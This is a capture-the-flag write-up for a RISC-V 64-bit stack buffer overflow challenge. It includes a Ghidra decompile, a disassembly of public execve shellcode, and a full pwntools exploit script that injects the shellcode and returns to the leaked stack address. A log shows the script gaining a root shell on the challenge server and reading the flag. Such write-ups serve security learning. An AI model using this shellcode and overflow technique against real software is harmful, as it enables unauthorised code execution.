# Riskv Businessby mito
## 14 Solves, 494pt
This is a `RISC-V 64bit` binary challenge.
```$ file pwnme pwnme: ELF 64-bit LSB executable, UCB RISC-V, version 1 (SYSV), statically linked, for GNU/Linux 4.15.0, BuildID[sha1]=767a1cb9134fcea1f054ec211aacb7bea0c5d0d2, not stripped```
The vulnerability in this binary is a simple `Stack BoF`.
The stack address(`0x4000800c80`) is leaked.
```Question 1. What kind of sound do you make when the boogey man jumps out of the shadows and yells 'BOO!' right in your face?!(Please file  your answer in memory at location 0x4000800c80...):```
We do not have an environment to run RISC-V 64bit binary.
First,we installed `QEMU` referring to the following.
[https://qiita.com/Kosuke_Matsui/items/14aadce506fe3df79600](https://qiita.com/Kosuke_Matsui/items/14aadce506fe3df79600)
We were able to run this binary locally in Ubuntu 16.04 64bit LTS.
```$ qemu-riscv64 ./pwnmeQuestion 1. What kind of sound do you make when the boogey man jumps out of the shadows and yells 'BOO!' right in your face?!(Please file  your answer in memory at location 0x40007ffd90...):AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEXACTLY: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)```
Furthermore, we were able to decompile this binary using `Ghidra` by installing the contents of the following URL.
[https://github.com/mumbel/ghidra_riscv](https://github.com/mumbel/ghidra_riscv)
The decompile result of main function is as follows.```int main(void)
{  char acStack96 [8];  char buff [80];   puts(      "Question 1. What kind of sound do you make when the boogey man jumps out of the shadows andyells \'BOO!\' right in your face?!"      );  printf("(Please file  your answer in memory at location %p...):",acStack96);  fflush((FILE *)stdout);  mygets(acStack96);  printf("EXACTLY: %s\n");  return 0;}```
We used to the `RISC-V shellcode` below.
[http://shell-storm.org/shellcode/files/shellcode-908.php](http://shell-storm.org/shellcode/files/shellcode-908.php)
```|   entry0 ();|           0x000100b0      0111           addi sp, sp, -32            ; [01] -r-x section size 76 named .text|           0x000100b2      06ec           sd ra, 24(sp)|           0x000100b4      22e8           sd s0, 16(sp)|           0x000100b6      13042102       addi s0, sp, 34|           0x000100ba      b767696e       lui a5, 0x6e696|           0x000100be      9387f722       addi a5, a5, 559|           0x000100c2      2330f4fe       sd a5, -32(s0)|           0x000100c6      b7776810       lui a5, 0x10687|           0x000100ca      33480801       xor a6, a6, a6|           0x000100ce      0508           addi a6, a6, 1|           0x000100d0      7208           slli a6, a6, 0x1c|           0x000100d2      b3870741       sub a5, a5, a6|           0x000100d6      9387f732       addi a5, a5, 815|           0x000100da      2332f4fe       sd a5, -28(s0)|           0x000100de      930704fe       addi a5, s0, -32|           0x000100e2      0146           li a2, 0|           0x000100e4      8145           li a1, 0|           0x000100e6      3e85           mv a0, a5|           0x000100e8      9308d00d       li a7, 221|           0x000100ec      93063007       li a3, 115|           0x000100f0      230ed1ee       sb a3, -260(sp)|           0x000100f4      9306e1ef       addi a3, sp, -258\           0x000100f8      6780e6ff       jr -2(a3)```
We tried debugging with `gdb-multiarch` and `gef`, but couldn't completely disassemble `RISC-V`.
Therefore, we made the Exploit code by referring to the C code.
Exploit code and execution result is below.
```from pwn import *
#context.log_level = 'debug'
BINARY = './pwnme'#elf  = ELF(BINARY)
shellcode = "\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x93\x06\x30\x07\x23\x0e\xd1\xee\x93\x06\xe1\xef\x67\x80\xe6\xff"
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "cha.hackpack.club"  PORT = 41700  s = remote(HOST, PORT)elif len(sys.argv) > 1 and sys.argv[1] == 'd':  s = process("qemu-riscv64 -g 1337 ./pwnme", shell=True)else:  s = process("qemu-riscv64 ./pwnme", shell=True)
s.recvuntil("location 0x")r = s.recvuntil(".")[:-1]
stack_addr = int(r, 16)print "stack_addr =", hex(stack_addr)
s.recvuntil("):")
buf  = shellcodebuf += "A"*(88-len(buf))buf += p64(stack_addr)s.sendline(buf)
s.interactive()
'''mito@ubuntu:~/CTF/HackPack_CTF_2020/Pwn_Riskv_Business$ python solve.py r[+] Opening connection to cha.hackpack.club on port 41700: Donestack_addr = 0x4000800c80[*] Switching to interactive mode$ iduid=0(root) gid=0(root) groups=0(root)$ cd /app$ ls -ltotal 3772-rw-rw-r-- 1 root root      47 Apr 13 15:47 flag.txt-rwxr-xr-x 1 root root  447800 Apr 13 15:57 pwnme-rwxrwxr-x 1 root root 3406664 Apr 13 15:47 qemu-riscv64-static$ cat flag.txtflag{mayb3_1t_w1ll_w0rk_th3_f1fth_t1m3_ar0und}'''```